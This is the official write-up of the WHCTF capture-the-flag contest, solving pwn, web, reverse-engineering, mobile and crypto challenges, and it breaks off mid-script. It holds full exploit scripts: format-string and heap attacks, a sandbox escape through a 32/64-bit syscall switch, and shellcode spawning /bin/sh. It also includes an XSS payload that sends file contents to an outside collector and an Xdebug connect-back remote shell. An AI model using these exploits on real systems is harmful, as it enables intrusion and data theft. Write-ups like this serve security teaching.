分享

WHCTF官方Writeup

 新用户88342ytu 2020-10-13

Pwn

RC4

不好意思题目换了了好几次,这里只说一下题目最初的设计

rc4是提供了rc4加密功能的一个程序,保护是开了PIE和NX

题目设置了三个vuln

  1. generate key函数存在ubi

  2. do exit时存在fsb

  3. do encrypt/decrypt时有bof

思路:

  1. 利用ubi泄露调用read_input函数时留下来的canary

  2. 因为开了pie, 所以直接rop肯定是不行了,想法是覆盖栈中的libc地址的低字节,直接调用one call gadget, 在main函数栈帧下面的<_dl_init+139>

  3. 需要同过通过0xffffffffff600000处的vsyscall不断抬升栈帧

  4. 直接在main函数返回调用vsyscall会失败,因为vsyscall需要参数, 所以在返回前调用一下do exit,给rdi一个可写的地址

  5. fsb没啥用,这个函数的作用就是设置rdi为可写

  6. bof因为是gets输入导致,但是会在末位加\x00

通过部分覆盖当libc_base的低24bit为0xf1e000时,选择one call gadget=0xf0274,那么payload结尾为74e200时,就可以getshell了.所以,选手只需爆破24bit,本地测试为平均5分钟就可以撞到...

EasyPwn

就是一个简单的格式化字符串,有一点点的变形,格式串在缓冲区中,在dst的后面,可以被覆盖掉,于是就按照正常的格式化字符串做即可。110066的exp很简明(代码短,易理解),直接采用了。

简单的格式化字符串漏洞,给新手做的题目,初始看的时候,sprintf()函数里面的格式化串是%s,写好的,没有漏洞,但是格式化串在目的缓冲区的下方,而且输入大量的字符可以溢出修改格式化串,由此导致了格式化字符串漏洞。

漏洞构成就如上,漏洞利用就很简单了,程序可以输入5次,程序开了PIE,NX,Stack Cannary 三个保护措施,所以,先泄露出来程序基址,然后泄露GOT中系统函数地址,最后修改GOT 表劫持到system函数 或者 OneShot

还有说调试难的同学,个人觉得还好,如果的确坑到你了,对不住了,谢谢参与!

from pwn import *context.log_level='debug'    context.terminal = ['terminator','-x','bash','-c']local = 0if local:    cn = process('./pwn1')    bin = ELF('./pwn1')    libc = ELF('./libc.so')else:    cn = remote('118.31.10.225', 20001)    bin = ELF('./pwn1')    libc = ELF('./libc.so')def z(a=''):    gdb.attach(cn,a)    raw_input()######################## cn.recvuntil('Code:')cn.sendline('1')cn.recvuntil('WHCTF')pay = 'a'*1000+'bb%397$p'pay = pay.ljust(1024,'\x00')cn.sendline(pay)cn.recvuntil('0x')data = int(cn.recvuntil('\n')[:-1],16)libc_base = data - libc.symbols['__libc_start_main']-240success('libc_base: ' + hex(libc_base))system = libc_base + libc.symbols['system']success('system: ' + hex(system))freehook = libc_base + libc.symbols['__free_hook']success('freehook: ' + hex(freehook))################ for i in range(8):    cn.recvuntil('Code:')    cn.sendline('1')    p_system = p64(system)    cn.recvuntil('WHCTF')    pay = 'a'*1000    pay += 'BB%'+str(0x100-0xfe+ord(p_system[i]))+'c%133$hhn'    pay = pay.ljust(1016,'A')    pay += p64(freehook+i)    pay = pay.ljust(1024,'a')    print len(pay)    cn.sendline(pay)cn.sendline('2')cn.sendline('/bin/sh\x00')cn.interactive()

Note_sys

漏洞原理

程序调用多线程时,未对共享资源加锁,导致多线程之间的竞争

source code

这里两个线程会出现竞争,在delete线程还在sleep时,如果进行malloc,则会导致malloc后的heap地址写到了note_to_write变量所指向的地址空间,利用这一特征,我们可以将heap地址写到bss段中notes指针表向上的任意地址(只要在sleep时间内创造足够多的delete线程)。因此,我们就可以将got表中的函数地址进行覆盖

    void *malloc_func(void *arg)    {        note_to_write ++;        int tmp = count;        char *to_copy = (char *)arg;        tmp += 1;        //usleep(100000);        count = tmp;        if(count > 34)        {            printf("too many notes!!\n");            note_to_write --;            return 0;        }        else        {            printf("logged successfully!\n");            *note_to_write = malloc(256 * sizeof(char));            memset(*note_to_write, 0, 256);            memcpy(*note_to_write, to_copy, 250);            return 0;        }    }    void *delete_func(void *arg)    {        char **note_to_delete = note_to_write;        note_to_write --;        int tmp = count;        tmp -= 1;        usleep(2000000);        if(count > 0)        {            free(*note_to_delete);            count = tmp;            printf("delete successfully!\n");        }        else        {            printf("too less notes!!\n");            note_to_write ++;            return 0;        }        return 0;    }

shellcode

注意坏字符 \x90\x00\x0a

payload = asm(shellcraft.amd64.linux.execve("/bin/sh"))

exp

    from pwn import *    context.arch      = 'amd64'    context.os        = 'linux'    context.endian    = 'little'    context.word_size = 64    elf = ELF("./main")    pro = process("./main")    aim_number = 14    while aim_number > 0:        aim_number -= 1        #pro.interactive()         print pro.recvuntil('choice:\n')        pro.sendline('2')        print pro.recvline()    print pro.recvuntil('choice:\n')    payload = asm(shellcraft.amd64.linux.execve("/bin/sh"))    print disasm(payload)    pause()    print payload.encode('hex')    print len(payload)    pro.sendline('0')    print pro.recvline()    pro.sendline(payload)    pause()    pro.interactive()

Stackoverflow

one null byte write in libc

只能17.04libc进行漏洞利用的特殊方法

这个题目不难逆向,逻辑很简单,不断的在stackof里面创建堆块,然后读取字符到堆块里面。 漏洞也存在于这个函数里面,在后面有一个libc任意地址写一个null byte的机会。

当我们malloc一定大小的堆块的时候这个堆块会开在binary和libc之间。

这个题目只能在17.04版本的ubuntu下利用, 在这个版本的libc中。stdin 结构体的 io_buf_end的地址末位正 好是一个null byte,这样的话,如果我们能够修改io_buf_base指向io_buf_end的话,通过与io相关的函数就 能够读写io_buf_end之后的内容,包括main_arena。 这里的利用方法是通过改写main_arena的unsorted bin的地址到我们伪造的的堆块上面,在malloc的时候能够形成unsorted bin attack,在17.04里面通过修改_dl_open_hook为就能够伪造dl_open_hook结构体劫持RIP。

所以这样我们就能够得到执行一次gadget的机会了。但是这里要怎么控制rip跳转到我们的rop上面呢? 通过 mov rdi, rax; call [rax + 0x20];这个gadget就能够控制rdi和rip。

之后通过setcontext函数就能够跳到设置好的rop上面了。

from pwn import *context.log_level = 'debug'#io = process('./stackoverflow') io = remote('172.17.0.2', 4869)pause()io.recvuntil(':')io.send('a' * 56)io.recvuntil('a' * 56)libc_addr = u64(io.recvn(6).ljust(8, '\x00')) + 3442360log.info('libc_addr :' + hex(libc_addr))libc_main = libc_addr - 0x7ffff7dd2641 + 0x00007ffff7a10000io.recvuntil(':')io.sendline(str(0x6c28c0+0x30-8))io.recvuntil(':')io.sendline(str(0x300000))io.recvuntil(':')io.send('lowkey')io.send("\xf0\x1d")# handcraft the _IO_2_1_stdin_ payload = ""payload += p64(libc_addr-2385) # current io buf end payload += p64(0x00)*6payload += p64(0xffffffffffffffff)payload += p64(0x000000000a000000)payload += p64(libc_addr+4399)payload += p64(0xffffffffffffffff)payload += p64(0x00)payload += p64(libc_addr-3233)payload += p64(0x00)*3payload += p64(0x00000000ffffffff)payload += p64(0x00)*2payload += p64(libc_addr-16961)# fake unsorted bins payload += p64(0)payload += p64(0x110)payload += p64(libc_addr + 15519 - 0x10) #fd _dl_open_hook - 0x10 payload += p64(libc_addr + 15519 - 0x10) #bk _dl_open_hook - 0x10 payload += '\x00' * 0xf0payload += p64(0) * 8payload += p64(0)*2 # controlling RIP: malloc_hook # main_arena! payload += p64(0x0000000100000000)payload += p64(0x00)*10payload += p64(libc_main + 0x6ebbb) # main_arena + 88 payload += p64(0) # main_arena + 96  payload += p64(libc_addr - 3233) # unsorted bin [1] payload += p64(libc_addr - 3233) # unsorted bin [1] 2 payload += p64(libc_main + 0x48010 + 51) # <setcontext+51> payload += p64(0) * 3payload += p64(0xdeadbeef) * 12 # where ROP lies in payload += p64(libc_main + 0x3c1b00 + 128 + 24) # rsp payload += p64(libc_main + 0x937) # rdi + 0xd8, the first gadget, i set it to 'ret' print "ok, corrupted the main arena."io.recvuntil(':')io.sendline('123')io.recvuntil(':')io.sendline('123')io.recvuntil(':')pause()io.sendline(payload)io.interactive()

Sandbox

sandbox bypass

用ptrace实现的一个sandbox,不能执行execve、open、clone、vfork、create、opennat系统调用。vul是一个简单的栈溢出。

这里过滤系统调用是通过系统调用号来进行过滤的,而32位和64位linux的系统调用号不同,可以在32位进程中执行64位的系统调用号绕过sandbox。首先需要通过retf切换到64位模式,详细见exp

import osfrom threading import Thread# from uploadflag import * from zio import *target = ('119.254.101.197', 10000)target = './sandbox ./vuln'#target = './vuln' def interact(io):    def run_recv():        while True:            try:                output = io.read_until_timeout(timeout=1)                # print output             except:                return    t1 = Thread(target=run_recv)    t1.start()    while True:        d = raw_input()        if d != '':            io.writeline(d)def exp(target):    io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), \              print_write=COLORED(RAW, 'green'))    io.gdb_hint()    payload = '1'*0x30 + l8(0x48)    main = 0x0804865B    puts_plt = 0x08048470    puts_got = 0x0804A018    payload += l32(puts_plt) + l32(main) + l32(puts_got)    io.writeline(payload)    io.read_until('1'*0x30)    io.readline()    puts_addr = l32(io.read(4))    print hex(puts_addr)    base = puts_addr - 0x0005FB80    print hex(base)    mprotect = base + 0x000E2E60    payload = '1'*0x30 + l8(0x48)    pop3_ret = 0x08048729    payload += l32(mprotect) + l32(pop3_ret) + l32(0x0804a000) + l32(0x1000)+l32(7)    shellcode_addr = 0x0804ab00    read_plt = 0x08048440    payload += l32(read_plt) + l32(shellcode_addr) + l32(0) + l32(shellcode_addr) + l32(0x200)    io.writeline(payload)    #shellcode_32 = '\x31\xc0\x31\xd2\x31\xdb\x31\xc9\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80'     #io.writeline(shellcode_32)     shellcode32 ='''    BITS 32    org 0x804ab00    push 0x33    call next    next:    add dword [esp], 5    retf    '''    f = open('shell32.asm', 'wb')    f.write(shellcode32.strip())    f.close()    os.popen('nasm -f bin -o shell32 shell32.asm')    shellcode64 = '''    BITS 64    org 0x0804ab20    jmp final    prev:    pop rdi    xor rsi, rsi    mov rax, 2    syscall    mov rdi, rax    mov rax, 0    mov rsi, 0x0804a900    mov rdx, 0x100    syscall    mov rdx, rax    mov rdi, 1    mov rsi, 0x0804a900    mov rax, 1    syscall    mov rdi, 0    mov rax, 60    syscall    final:    call prev    db './flag', 0    '''    f = open('shell64.asm', 'wb')    f.write(shellcode64.strip())    f.close()    os.popen('nasm -f bin -o shell64 shell64.asm')    f = open('./shell32', 'rb')    d1 = f.read()    f.close()    f = open('./shell64', 'rb')    d2 = f.read()    f.close()    shellcode = d1.ljust(0x20, '\x90') + d2    io.read_until('1'*0x30)    io.writeline(shellcode)    f = open('shell.bin', 'wb')    f.write(shellcode)    f.close()    interact(io)exp(target)

calc

heap overflow

  1. 在执行calc中的加法操作时,能够堆溢出两个bit。能够修改下一个堆块的IS_MMAPPED标志位。

  2. IS_MMAPPED=1时,用calloc申请时不会清零。(http://tukan.farm/2016/10/14/scraps-of-notes/ 最新版本的libc已修复)

  3. 在new一个number时,如果输入的lengen过长,将直接返回,使得Num结构中的len和value未进行初始化。结合第2点,可以使这里value刚好会指向main_arena附近的一个地址。

    通过show功能泄露出libc的地址。

    通过calc的加法操作能够修改libc库中的free_hook指针为system地址。

exploit如下:

from threading import Thread# from uploadflag import * from zio import *target = ('119.254.101.197', 10000)target = './calc'def interact(io):    def run_recv():        while True:            try:                output = io.read_until_timeout(timeout=1)                # print output             except:                return    t1 = Thread(target=run_recv)    t1.start()    while True:        d = raw_input()        if d != '':            io.writeline(d)def enter(io, name, len, value):    io.read_until('>>')    io.writeline('1')    io.read_until(':')    io.writeline(name)    io.read_until(':')    io.writeline(str(len))    io.read_until(':')    io.writeline(value)def enter2(io, name):    io.read_until('>>')    io.writeline('1')    io.read_until(':')    io.writeline(name)    io.read_until(':')    io.writeline(str(0x3009))def calc(io, expression):    io.read_until('>>')    io.writeline('2')    io.read_until(':')    io.writeline(expression)def show(io, name):    io.read_until('>>')    io.writeline('3')    io.read_until(':')    io.writeline(name)def delete(io, name):    io.read_until('>>')    io.writeline('4')    io.read_until(':')    io.writeline(name)def edit(io, name, value):    io.read_until('>>')    io.writeline('5')    io.read_until(':')    io.writeline(name)    io.read_until(':')    io.writeline(value)def exp(target):    io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), \              print_write=COLORED(RAW, 'green'))    io.gdb_hint()    enter(io, 'a', 0x98, 'F'*0x98*2) # 0x603010     enter(io, 'b', 0x40, '1'*0x40*2) # 0x603150     enter(io, 'c', 0x98, '3'*0x98*2) # 0x603290     enter(io, 'd', 0x98, '5'*0x98*2) # 0x6033d0     enter(io, 'f', 0x98, '6873') # 0x6033d0     delete(io, 'b')    calc(io, 'a=a+d')    enter2(io, 'e')    io.gdb_hint()    show(io, 'e')    io.read_until('number is:\n')    d = io.readline()[:-1]    print d    print len(d)    system = 0    base = int(d[len(d)-3*16:len(d)-2*16], 16) - 0x3be7b8    system = base + 0x46640    distance = (0x3C0A10 - 0x3be7b8)*2    print hex(base)    print hex(base + 0x3C0A10)    io.gdb_hint()    d2 = hex(system)[2:].rjust(16, '0').upper()    enter(io, 'h', (distance/2)+0x10, d2 + '0'*distance)    calc(io, 'e=e+h')    #edit(io, 'e', d)     delete(io, 'f')    interact(io)exp(target)

Web

Scanner

SSRF

这道题主要是模拟一个较大的网站,然后来用自己的扫描器扫描出漏洞

因为一般的题目都是给的网站比较小,可能漏洞点就那么几个,试试也都出来了,但和现实环境完全不一样

现实中的漏洞往往比较简单,但因为网站太大,加上禁用扫描器什么的,导致大家找不到某洞

这道题就是模拟这样一种情况

大概设计是在http://127.0.0.1/g/github.com/trending.php

这里是github的项目,里面有两个项目有图片

大概是http://127.0.0.1/g/github.com/engineerapart/TheRemoteFreelancer.php

以及http://127.0.0.1/g/github.com/yarnpkg/yarn.php

这里设计点击图片以后,会调用js发送另一个请求,然后图片会放大

但是url是稍微混淆了一下这样普通的扫描器就没办法扫出来

然后理论是个ssrf,但是硬编码了一下如果是file:///etc/passwd就会把对应的打出来

然后有个flag用户,然后直接看就可以了

Not_only_XSS

首页是一个普通的留言板页面,

其中csp策略如下:

default-src 'self'; -src 'self' 'unsafe-inline';style-src 'self' 'unsafe-inline';img-src *;

通过下述payload绕过:

<link rel="prefetch" href="http://xss_platform">

然后成功接收到请求,发现其中的referer值为file协议以及bot由phantomjs实现。从而猜测可以通过xmlhttprequest通过file协议读取文件。

访问upload/ea32d52fee26c9296a7fcdb37f66930a.html,发现其中引用了一个filter.js,简单阅读之后很容易构造提交如下:

<>function reqListener () {    var encoded = encodeURI(this.responseText); location.href="http://xss_platform?data="+encoded;}var oReq = new XMLHttpRequest();oReq.addEventListener("load", reqListener);oReq.open("GET", "file:///var/www/html/flag.php");oReq.send();</>

从而获取到flag。

Router

借用两个战队的wp

Nu1L的wp:

看了一眼是 go 的程序很开心,翻出吃灰多年的处理脚本,还原了函数名,然后就很简单了。 export 未做权限检查,可以直接下载设置文件。然后本地运行,在验证逻辑eqstring处直接下断,即可读到账号和密码。登陆后,随便点一些什么就发现响应中有flag。 //这题其实可以搞事情,疯狂改密码。这样后来的解题者就只能走 backdoor的 udp 后门来解题了。

AAA的wp:

题目构成:

给了个 bin 文件,看起来是 go 写的。给了个网址,看起来程序跑起来就是这个效果。拿 ida 简单的看了看字符串,发现了几个路由,比如 export.php,访问了下可以导出个加密的配置文件。其他的看起来都要权限。

解题思路:

队友那里拿到了个恢复 go 符号表的 ida python 脚本,找到了 decode 函数,本地拿 gdb 调试, 在 decode 函数处下断点,访问首页断下来了,可以在哪个寄存器指向的地址处发现用户名和密码,于是把题目的配置文件 export 出来再 import 到本地,重来一次即可断到断点得到密码。登录到后台,发现了一个 action 参数,随便改个其他值就得到 flag 了。

Cat

php cURL CURLOPT_SAFE_UPLOAD

django DEBUG mode

Fuzz URL,得到如下结果:

  1. 正常 URL,返回 ping 结果

  2. 非法 URL(特殊符号),返回 Invalid URL

  3. %80,返回 Django 报错

需要选手通过第三种情况,判断出后端架构,猜测 PHP 层的处理逻辑。

CURLOPT_SAFE_UPLOAD 为 true 时,PHP 可以通过在参数中注入 @ 来读取文件。当且仅当文件中存在中文字符的时候,Django 才会报错导致获取文件内容。

通过 Django 报错调用栈中的信息,请求 @/opt/api/api/settings.py 得到数据库名称,在通过 @/opt/api/database.sqlite3 得到数据库内容,其中包含 Flag。

    $ curl 'ricterz.me:8899/?url=@/opt/api/database.sqlite3' | xxd | grep -A 5 -B 5 WHCTF    00015c90: 305c 7830 305c 7830 305c 7830 305c 7830  0\x00\x00\x00\x0    00015ca0: 305c 7830 305c 7830 305c 7830 305c 7830  0\x00\x00\x00\x0    00015cb0: 305c 7830 305c 7830 305c 7830 305c 7830  0\x00\x00\x00\x0    00015cc0: 305c 7830 305c 7830 305c 7830 305c 7830  0\x00\x00\x00\x0    00015cd0: 305c 7830 305c 7830 305c 7830 305c 7831  0\x00\x00\x00\x1    00015ce0: 635c 7830 315c 7830 3241 5748 4354 467b  c\x01\x02AWHCTF{    00015cf0: 796f 6f6f 6f5f 5375 6368 5f41 5f47 3030  yoooo_Such_A_G00    00015d00: 445f 407d 2661 6d70 3b23 3339 3b26 6c74  D_@}'&lt    00015d10: 3b2f 7072 6526 6774 3b26 6c74 3b2f 7464  ;/pre></td    00015d20: 2667 743b 0a20 2020 2020 2020 2020 2026  >.          &    00015d30: 6c74 3b2f 7472 2667 743b 0a20 2020 2020  lt;/tr>.

Emmm

Xdebug command

通过 PHPINFO 查看到,Xdebug 开启了如下模式:

    xdebug.remote_enable = On    xdebug.remote_connect_back = On

那么,通过 Xdebug 执行命令即可,Exp 如下:

    #!/usr/bin/python2     import socket    ip_port = ('0.0.0.0',9000)    sk = socket.socket()    sk.bind(ip_port)    sk.listen(10)    conn, addr = sk.accept()    while True:        client_data = conn.recv(1024)        print(client_data)        data = raw_input('>> ')        conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))

在存在外网的服务器运行 exp,接着运行命令:

curl 'localhost:8889/phpinfo.php?XDEBUG_SESSION_START=233' -H "X-Forwarded-For: ricterz.me"

收到反弹回来的 Xdebug shell:

    ricter@baka:/tmp$ python xdebug_exp.py    495<?xml version="1.0" encoding="iso-8859-1"?>    <init xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http:///dbgp/xdebug" fileuri="file:///app/phpinfo.php" language="PHP" xdebug:language_version="7.0.22-0ubuntu0.16.04.1" protocol_version="1.0" appid="11" idekey="233"><engine version="2.6.0-dev"><![CDATA[Xdebug]]></engine><author><![CDATA[Derick Rethans]]></author><url><![CDATA[http://]]></url><copyright><![CDATA[Copyright (c) 2002-2017 by Derick Rethans]]></copyright></init>    >> system("cat /flag.txt");    288<?xml version="1.0" encoding="iso-8859-1"?>    <response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http:///dbgp/xdebug" command="eval" transaction_id="1"><property type="string" size="25" encoding="base64"><![CDATA[V0hDVEZ7WGQzYnVnXzFzX2F3M3NvbUUhfQ==]]></property></response>    >> Traceback (most recent call last):      File "xdebug_exp.py", line 14, in <module>        data = raw_input('>> ')    EOFError    ricter@baka:/tmp$ echo V0hDVEZ7WGQzYnVnXzFzX2F3M3NvbUUhfQ== | base64 -d    WHCTF{Xd3bug_1s_aw3somE!}

RE

Format

用printf实现的一个brainfuck解释器(https://github.com/HexHive/printbf),通过逆向程序提取出里面的brainfuck程序,然后对brainfuck程序进行分析,得到满足条件的password为 Pr1nBf_f4cK!

连接题目提供的ip和port,得到flag.

echo 'Pr1nBf_f4cK!' > password                                      cat password - | nc ip port

Wbaes

正如题目所言,本题设置的是一道白盒密码的逆向题目, 白盒密码的思想就是把加密的key混合到加密运算的table里,并对程序加以混淆,反调试等,让你不那么容易就找到key.所以思路就是要找到本题aes加密使用的key.

针对白盒密码的攻击在学术和工业届都有很成熟的研究成果了,这里推荐一个攻击套件SideChannelMarvels, 里面有一整套Differential Computation Analysis和Differential Fault Analysis的工具

脚本参考: https://github.com/SideChannelMarvels/Deadpool/blob/master/wbs_aes_rhme3_prequal/DFA/attack_rhme3p1.py

还有人问程序是用什么混淆的, movfuscator.只要理解了上述攻击的原理,就不用对程序做太多的逆向分析工作了

MIMI

这个题目使用了MIPS+STATIC+STRIP,具有很高的逆向难度,非常幸运还是有3个战队做了出来,膜拜Redbud、Lancet和PK-You的大佬们。这个题目其实没有那么难,要自己搭建一下环境,测一测就可以发现明密文之间的相关性。正规解法就是爆破的思路,题目的本质是三个相连字符前置一个flappypig的salt后md5,这里首先预制了一个100万次的空循环,首先把他patch掉提高爆破效率,然后爆破字符对应的md5即可。

附Redbud的exp

# flag{mips_with_static_is_cr4zy!} import subprocess import hashlib import json import itertools import stringdef md5(s):    m2 = hashlib.md5()     m2.update(s)     return m2.hexdigest()with open('dict') as f:    d = json.load(f)with open('out') as f:    out = f.read().strip() rst = ''i = 0 while i < 512:    try:        s = out[i:i+32]         rst += d[s][-3:-1]     except KeyError:        print 'not found'        rst += '**'     i += 32     print rstprint 'done'

CrackMe

直接盗用AAA的wp

一道静态分析题,注意到判断逻辑在0x401669处,在0x4015F7有个对字符串长度的判定,直接在od里下断点,一个一个提出来就好了。最终提取出的字符串为flag{The-Y3ll0w-turb4ns-Upri$ing} 提交的flag为The-Y3ll0w-turb4ns-Upri$ing

BabyRE

ida打开发现函数指针指向.data段上的judge数组,开gdb在0000000000400686位置call rdx下断点跟进去,得到汇编码:

   0x600b04 <judge+4>:  mov [rbp-0x28], rdi   0x600b08 <judge+8>:    mov    BYTE PTR [rbp-0x20],0x66   0x600b0c <judge+12>:    mov    BYTE PTR [rbp-0x1f],0x6d   0x600b10 <judge+16>:    mov    BYTE PTR [rbp-0x1e],0x63   0x600b14 <judge+20>:    mov    BYTE PTR [rbp-0x1d],0x64   0x600b18 <judge+24>:    mov    BYTE PTR [rbp-0x1c],0x7f   0x600b1c <judge+28>:    mov    BYTE PTR [rbp-0x1b],0x6b   0x600b20 <judge+32>:    mov    BYTE PTR [rbp-0x1a],0x37   0x600b24 <judge+36>:    mov    BYTE PTR [rbp-0x19],0x64   0x600b28 <judge+40>:    mov    BYTE PTR [rbp-0x18],0x3b   0x600b2c <judge+44>:    mov    BYTE PTR [rbp-0x17],0x56   0x600b30 <judge+48>:    mov    BYTE PTR [rbp-0x16],0x60   0x600b34 <judge+52>:    mov    BYTE PTR [rbp-0x15],0x3b   0x600b38 <judge+56>:    mov    BYTE PTR [rbp-0x14],0x6e   0x600b3c <judge+60>:    mov    BYTE PTR [rbp-0x13],0x70   0x600b40 <judge+64>:    mov    DWORD PTR [rbp-0x4],0x0   0x600b47 <judge+71>:    jmp    0x600b71 <judge+113>   0x600b49 <judge+73>:    mov    eax,DWORD PTR [rbp-0x4]   0x600b4c <judge+76>:    movsxd rdx,eax   0x600b4f <judge+79>:    mov    rax,QWORD PTR [rbp-0x28]   // 输入的字符串   0x600b53 <judge+83>:    add    rax,rdx   0x600b56 <judge+86>:    mov    edx,DWORD PTR [rbp-0x4]   0x600b59 <judge+89>:    movsxd rcx,edx   0x600b5c <judge+92>:    mov    rdx,QWORD PTR [rbp-0x28]   0x600b60 <judge+96>:    add    rdx,rcx   0x600b63 <judge+99>:    movzx  edx,BYTE PTR [rdx]   0x600b66 <judge+102>:    mov    ecx,DWORD PTR [rbp-0x4]   0x600b69 <judge+105>:    xor    edx,ecx   0x600b6b <judge+107>:    mov    BYTE PTR [rax],dl   0x600b6d <judge+109>:    add    DWORD PTR [rbp-0x4],0x1   0x600b71 <judge+113>:    cmp    DWORD PTR [rbp-0x4],0xd   0x600b75 <judge+117>:    jle    0x600b49 <judge+73>   0x600b77 <judge+119>:    mov    DWORD PTR [rbp-0x4],0x0   0x600b7e <judge+126>:    jmp    0x600ba9 <judge+169>   0x600b80 <judge+128>:    mov    eax,DWORD PTR [rbp-0x4]   0x600b83 <judge+131>:    movsxd rdx,eax   0x600b86 <judge+134>:    mov    rax,QWORD PTR [rbp-0x28]   0x600b8a <judge+138>:    add    rax,rdx   0x600b8d <judge+141>:    movzx  edx,BYTE PTR [rax]   0x600b90 <judge+144>:    mov    eax,DWORD PTR [rbp-0x4]   0x600b93 <judge+147>:    cdqe      0x600b95 <judge+149>:    movzx  eax,BYTE PTR [rbp+rax*1-0x20]   0x600b9a <judge+154>:    cmp    dl,al   0x600b9c <judge+156>:    je     0x600ba5 <judge+165>   0x600b9e <judge+158>:    mov    eax,0x0   0x600ba3 <judge+163>:    jmp    0x600bb4 <judge+180>   0x600ba5 <judge+165>:    add    DWORD PTR [rbp-0x4],0x1   0x600ba9 <judge+169>:    cmp    DWORD PTR [rbp-0x4],0xd   0x600bad <judge+173>:    jle    0x600b80 <judge+128>   0x600baf <judge+175>:    mov    eax,0x1   0x600bb4 <judge+180>:    pop    rbp   0x600bb5 <judge+181>:    ret

对输入的字符串依次xor位数,与原有字符串比较,xor逆推回去即可得到flag:flag{n1c3_job}

EasyHook

程序hook了WriteFile。其他没有特别之处。hook后的代码在sub_401000,里面即是加密算法,比较简单逆回去即可,脚本如下:

buf = [ord(i) for i in '616A79676B466D2E7F5F7E2D53567B386D4C6E00'.decode('hex')]buf[18] ^= 0x13for i in range(17, -1, -1):    v3 = i ^ buf[i]    if i % 2:        buf[i] = v3 + i    else:        buf[i+2] = v3print ''.join(chr(i) for i in buf)#flag{Ho0k_w1th_Fun}

Mobile

LoopCrypto

flag: "flag{LOoK|N9_An_3@&9_s%Lue?!?!}"(不包括引号)

本题出题的主要出发点是深刻考察做题人员的以及ARM逆向功底,因此本题目设计本着不偏、不坑的原则,做到一环套一环、解决一个问题后再解决下一个问题的设计思路,令做题者不会因为没有思路而放弃分析(手动滑稽~)。

本题层中所有关键部分的字符串都有加密保护,解密函数位于Decode类,Decode类提供一个为比较复杂的三重循环异或解密。解密函数主要用于对层的字符串解密,在开发的过程中对于解密函数的密钥选择是随机的

Native层中的程序在运行过程中会回调层中的解密函数进行字符串解密。鉴于不能修改代码重打包,做题者可以选择使用hook方式打出解密后的结果,也可以选择看懂代码写出解密函数。

接下来是Native层,在弹出验证flag窗口后,做题者将flag输入,按下按钮后,程序会计算apk签名的MD5,并将输入内容和md5值一并传入Native层的验证函数。

Native层的so在init_array段有一个简单的ptrace反调试,子进程会不断检查父进程的status文件中调试进程是否为0,如果被调试则将主进程杀死。这里不能采用hook掉fork()函数的方式绕过反调试,因为fork()函数在后期还会用到。

Native层的验证flag的思路是再使用fork()创建一个子进程,将flag传入子进程,父子进程之间使用pipe进行通讯(因此hook了fork()函数是不行的),子进程将验证结果使用pipe传输回来,父进程接受子进程传过来的字符串并将它返回给上层程序,最终使用toast显示出来。

为了增加难度,验证flag的子进程的代码写成了shellocde,这个shellcode使用使用编译的zlib压缩算法,并且去掉了zlib头尾,再使用apk签名的MD5进行循环异或加密(因此签名不能变),最终存储在so的全局变量区。调用该shellcode的时候,先使用apk签名的MD5进行解密,再使用zlib解压缩,解压缩完成后,跳转到该shellcode执行,shellcode接受传入的flag以及通讯用的pipe变量,内部使用tea算法对flag进行加密,与shellcode中预存的加密结果进行比较,最终使用pipe传输验证结果。

为了再次增加难度,验证flag的子进程使用ptrace反调试,防止直接dump出解密后的shellcode文件。

上述就是本题的总体出题思路。

现提供一个一般的解题方法:首先解压出lib文件,分析清楚其流程,找到内部存储的加密后的shellcode内容,将该内容使用apk签名的MD5进行循环异或解密,再对其使用zlib解压,得到一个完整的shellcode文件。IDA打开此shellcode文件,分析清楚其使用的tea算法及密钥,对加密后的结果进行解密,即可得到flag。

FindMyMorse

本题flag:"flag{no7_tHE_Re@L_MoRsE_/o/2z2z}"(不包含双引号)

本题使用安卓的Native

Activity框架编写了一个莫尔斯码模拟器,因此该apk本质上是一个纯c写成的APK。

该APK运行时会监控点击屏幕的时间长度,当点击屏幕时间短于200毫秒时,记为输入了0,长于200毫秒时记为输入了1。

程序内部预置了一个比特序列,当点击屏幕时输入的bit与该序列相同时,屏幕为绿色且没有任何输出,当不同时屏幕会为红色且输出提示错误。

为了防止一下子看出比特序列,做了一些防护措施,首先将一整个比特序列拆分为四组,从原序列中依次取四个bit放入到新的组里,随后将四组比特序列逆序,然后依次按8比特组成一个字节拼合,最后将字节再逆序存储为最终的比特序列。

比特序列的总长度为224,很明显可以算出224等于4*8*7,根据可见字符的ascii码特征,不难猜测出这是32个可见字符取了低7位。将这224个比特数据每7比特拼接成一个字节,即可得到明文的flag。

本题c层没有加任何的混淆。

期望的解法:看懂程序读取01的原理,研究清楚比特序列的存储方法,还原比特序列,拼接成最终的字符串。

暴力的解法:依次爆破每个比特,只需进行224次尝试即可爆破出比特流。

Crypto

Bornpig

本题目是考察快速相关攻击的题目,请阅读相关论文。首先三个lfsr的初态分别为17bit,19bit和21bit,其中17bit和21bit的LFSR的输出在使用GEFFE之后有3/4的概率等于密钥流,那么通过最小生成式可以在5次之后以99.999...%以上的概率得到每个lfsr的原始输出,然后使用BM算法可以得到初态,至于19bit的LFSR可以通过爆破的方式获得。初态hex之后就是flag

Untitled

这个题目出题失误,第一步很多队伍都是直接输入的空的x,其实目的是为了构造模n相同的字符串。

这个题目两个考点,一个是考察审计py后构造在模n条件下与"flag"相同的字符串,获得p的部分bit。然后用格基规约去解已知部分高bitp的情况下的全部p。但是这里我少给了8个bit的信息,所以需要通过编写合适的程序进行爆破。

from zio import *import hashlibtarget=("127.0.0.1",20000)def solve_proof(io):    salt = io.read_until("\n").decode("base64")    io.read_until("work: ")    for i1 in range(0xff):        for i2 in range(0xff):            for i3 in range(0xff):                for i4 in range(0xff):                    if hashlib.md5(salt+chr(i1)+chr(i2)+chr(i3)+chr(i4)).hexdigest().startswith("0000"):                        io.write((chr(i1)+chr(i2)+chr(i3)+chr(i4)).encode("base64"))                        returndef exp(target):    io=zio(target)    solve_proof(io)    io.read_until("n: 0x")    n=int(io.readline().replace("L","").strip(),16)    io.readline()    io.read_until("c: 0x")    c=int(io.readline().replace("L", "").strip(), 16)    io.read_until("u: 0x")    u = int(io.readline().replace("L", "").strip(), 16)    tmp=int("flag".encode("hex")+"ff", 16)<<2048    